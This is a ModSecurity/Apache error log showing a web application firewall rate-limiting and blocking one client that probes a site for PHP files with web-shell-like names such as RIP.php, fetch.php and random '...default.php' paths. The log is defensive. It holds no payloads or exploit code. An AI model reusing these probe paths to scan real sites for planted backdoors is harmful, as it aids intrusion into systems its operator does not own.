[Sat Apr 11 04:23:59.826570 2026] [:error] [pid 33173:tid 33266] [client 51.107.88.105:33094] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adlcX68109xRDP2izWiN3AAAAJU"]
[Sat Apr 11 04:24:00.291840 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:33124] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adlcYK8109xRDP2izWiN4AAAAJI"]
[Sat Apr 11 04:24:00.785145 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:33116] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adlcYDn2G0IJw5EZY9kBCAAAAEA"]
[Sat Apr 11 04:24:01.250065 2026] [:error] [pid 33172:tid 33233] [client 51.107.88.105:33649] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adlcYTn2G0IJw5EZY9kBCwAAAE8"]
[Sat Apr 11 04:24:01.719084 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:33097] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adlcYa8109xRDP2izWiN6gAAAIg"]
[Sat Apr 11 04:24:02.222827 2026] [:error] [pid 33173:tid 33246] [client 51.107.88.105:33108] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adlcYq8109xRDP2izWiN7wAAAIE"]
[Sat Apr 11 04:24:02.692503 2026] [:error] [pid 33172:tid 33240] [client 51.107.88.105:33612] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adlcYjn2G0IJw5EZY9kBFAAAAFY"]
[Sat Apr 11 04:24:03.158973 2026] [:error] [pid 33173:tid 33267] [client 51.107.88.105:33639] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adlcY68109xRDP2izWiN-gAAAJY"]
[Sat Apr 11 04:24:03.635874 2026] [:error] [pid 33288:tid 33299] [client 51.107.88.105:33117] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adlcY2JmwJFFPEgRHfHXIgAAAMk"]
[Sat Apr 11 04:24:04.110771 2026] [:error] [pid 33171:tid 33202] [client 51.107.88.105:33630] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adlcZLoqTMlo30hcVw8ppgAAABA"]
[Sat Apr 11 04:24:04.583803 2026] [:error] [pid 33171:tid 33196] [client 51.107.88.105:22089] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adlcZLoqTMlo30hcVw8pqQAAAAo"]
[Sat Apr 11 04:24:05.049746 2026] [:error] [pid 33173:tid 33268] [client 51.107.88.105:33636] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlcZa8109xRDP2izWiN_gAAAJc"]
[Sat Apr 11 04:24:05.542205 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:33143] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlcZboqTMlo30hcVw8prgAAAA8"]
[Sat Apr 11 04:24:06.014861 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:33126] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlcZq8109xRDP2izWiOBwAAAIo"]
[Sat Apr 11 04:24:06.528571 2026] [:error] [pid 33172:tid 33228] [client 51.107.88.105:33107] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlcZjn2G0IJw5EZY9kBHgAAAEo"]
[Sat Apr 11 04:24:07.012632 2026] [:error] [pid 33173:tid 33260] [client 51.107.88.105:33634] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adlcZ68109xRDP2izWiODwAAAI8"]
[Sat Apr 11 04:24:07.480156 2026] [:error] [pid 33173:tid 33250] [client 51.107.88.105:33624] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adlcZ68109xRDP2izWiOFAAAAIU"]
[Sat Apr 11 04:24:07.977979 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:33662] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adlcZ2JmwJFFPEgRHfHXKwAAAMM"]
[Sat Apr 11 04:24:08.448964 2026] [:error] [pid 33172:tid 33221] [client 51.107.88.105:33652] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adlcaDn2G0IJw5EZY9kBJAAAAEM"]
[Sat Apr 11 04:24:08.967053 2026] [:error] [pid 33173:tid 33248] [client 51.107.88.105:33112] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adlcaK8109xRDP2izWiOFwAAAIM"]
[Sat Apr 11 04:24:09.540548 2026] [:error] [pid 33288:tid 33314] [client 51.107.88.105:33628] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adlcaWJmwJFFPEgRHfHXNQAAANg"]
[Sat Apr 11 04:24:10.017080 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:33127] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adlcamJmwJFFPEgRHfHXOgAAAMc"]
[Sat Apr 11 04:24:10.528046 2026] [:error] [pid 33288:tid 33305] [client 51.107.88.105:33105] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adlcamJmwJFFPEgRHfHXPQAAAM8"]
[Sat Apr 11 04:24:11.001606 2026] [:error] [pid 33288:tid 33291] [client 51.107.88.105:33602] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adlca2JmwJFFPEgRHfHXRAAAAME"]
[Sat Apr 11 04:24:11.474916 2026] [:error] [pid 33288:tid 33310] [client 51.107.88.105:33625] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adlca2JmwJFFPEgRHfHXSQAAANQ"]
[Sat Apr 11 04:24:11.944778 2026] [:error] [pid 33171:tid 33190] [client 51.107.88.105:22507] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adlca7oqTMlo30hcVw8pvAAAAAQ"]
[Sat Apr 11 04:24:12.470245 2026] [:error] [pid 33173:tid 33265] [client 51.107.88.105:33125] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adlcbK8109xRDP2izWiOHwAAAJQ"]
[Sat Apr 11 04:24:12.941785 2026] [:error] [pid 33288:tid 33306] [client 51.107.88.105:33654] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "adlcbGJmwJFFPEgRHfHXVAAAANA"]
[Sat Apr 11 04:24:13.445621 2026] [:error] [pid 33171:tid 33188] [client 51.107.88.105:33122] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "adlcbboqTMlo30hcVw8pwgAAAAI"]
[Sat Apr 11 04:24:13.915904 2026] [:error] [pid 33288:tid 33305] [client 51.107.88.105:33104] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "adlcbWJmwJFFPEgRHfHXWQAAAM8"]
[Sat Apr 11 04:24:14.391540 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:33119] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "adlcbmJmwJFFPEgRHfHXXAAAANE"]
[Sat Apr 11 04:24:14.858343 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:33646] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "adlcbmJmwJFFPEgRHfHXXQAAAMM"]
[Sat Apr 11 04:24:15.331125 2026] [:error] [pid 33171:tid 33194] [client 51.107.88.105:22489] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "adlcb7oqTMlo30hcVw8pxwAAAAg"]
[Sat Apr 11 04:24:15.822722 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:33638] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "adlcb7oqTMlo30hcVw8pygAAAA8"]
[Sat Apr 11 04:24:16.335719 2026] [:error] [pid 33172:tid 33240] [client 51.107.88.105:33653] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "adlccDn2G0IJw5EZY9kBOgAAAFY"]
[Sat Apr 11 04:24:16.835162 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:33615] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlccK8109xRDP2izWiOLQAAAIo"]
[Sat Apr 11 04:24:17.354331 2026] [:error] [pid 33171:tid 33200] [client 51.107.88.105:22464] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlccboqTMlo30hcVw8p2QAAAA4"]
[Sat Apr 11 04:24:17.833673 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:33608] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlccWJmwJFFPEgRHfHXZwAAANU"]
[Sat Apr 11 04:24:18.305804 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:33121] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlccmJmwJFFPEgRHfHXagAAAM0"]
[Sat Apr 11 04:24:18.775096 2026] [:error] [pid 33173:tid 33245] [client 51.107.88.105:33659] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlccq8109xRDP2izWiOMgAAAIA"]
[Sat Apr 11 04:24:19.247678 2026] [:error] [pid 33173:tid 33249] [client 51.107.88.105:33604] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlcc68109xRDP2izWiONgAAAIQ"]
[Sat Apr 11 04:24:19.720120 2026] [:error] [pid 33171:tid 33191] [client 51.107.88.105:33135] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlcc7oqTMlo30hcVw8p3AAAAAU"]
[Sat Apr 11 04:24:20.191940 2026] [:error] [pid 33288:tid 33313] [client 51.107.88.105:33655] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlcdGJmwJFFPEgRHfHXeQAAANc"]
[Sat Apr 11 04:24:20.663067 2026] [:error] [pid 33171:tid 33200] [client 51.107.88.105:33635] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oircv.php"] [unique_id "adlcdLoqTMlo30hcVw8p4gAAAA4"]
[Sat Apr 11 04:24:21.140394 2026] [:error] [pid 33172:tid 33227] [client 51.107.88.105:33610] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oircv.php"] [unique_id "adlcdTn2G0IJw5EZY9kBQwAAAEk"]
[Sat Apr 11 04:24:21.612831 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:33618] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oircv.php"] [unique_id "adlcda8109xRDP2izWiOQwAAAIY"]
[Sat Apr 11 04:24:22.093048 2026] [:error] [pid 33172:tid 33240] [client 51.107.88.105:33601] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oircv.php"] [unique_id "adlcdjn2G0IJw5EZY9kBSAAAAFY"]
[Sat Apr 11 04:24:22.569830 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:33613] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "adlcdmJmwJFFPEgRHfHXgwAAAMY"]
[Sat Apr 11 04:24:23.046266 2026] [:error] [pid 33288:tid 33290] [client 51.107.88.105:22472] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "adlcd2JmwJFFPEgRHfHXhwAAAMA"]
[Sat Apr 11 04:24:23.512838 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:33619] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "adlcd2JmwJFFPEgRHfHXjAAAANU"]
[Sat Apr 11 04:24:24.008490 2026] [:error] [pid 33172:tid 33220] [client 51.107.88.105:22095] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "adlceDn2G0IJw5EZY9kBTQAAAEI"]
[Sat Apr 11 04:24:24.486985 2026] [:error] [pid 33173:tid 33265] [client 51.107.88.105:22088] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlceK8109xRDP2izWiOUgAAAJQ"]
[Sat Apr 11 04:24:24.977181 2026] [:error] [pid 33171:tid 33193] [client 51.107.88.105:33115] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlceLoqTMlo30hcVw8p6AAAAAc"]
[Sat Apr 11 04:24:25.456155 2026] [:error] [pid 33172:tid 33239] [client 51.107.88.105:33150] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlceTn2G0IJw5EZY9kBTgAAAFU"]
[Sat Apr 11 04:24:25.925468 2026] [:error] [pid 33172:tid 33242] [client 51.107.88.105:22514] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlceTn2G0IJw5EZY9kBTwAAAFg"]
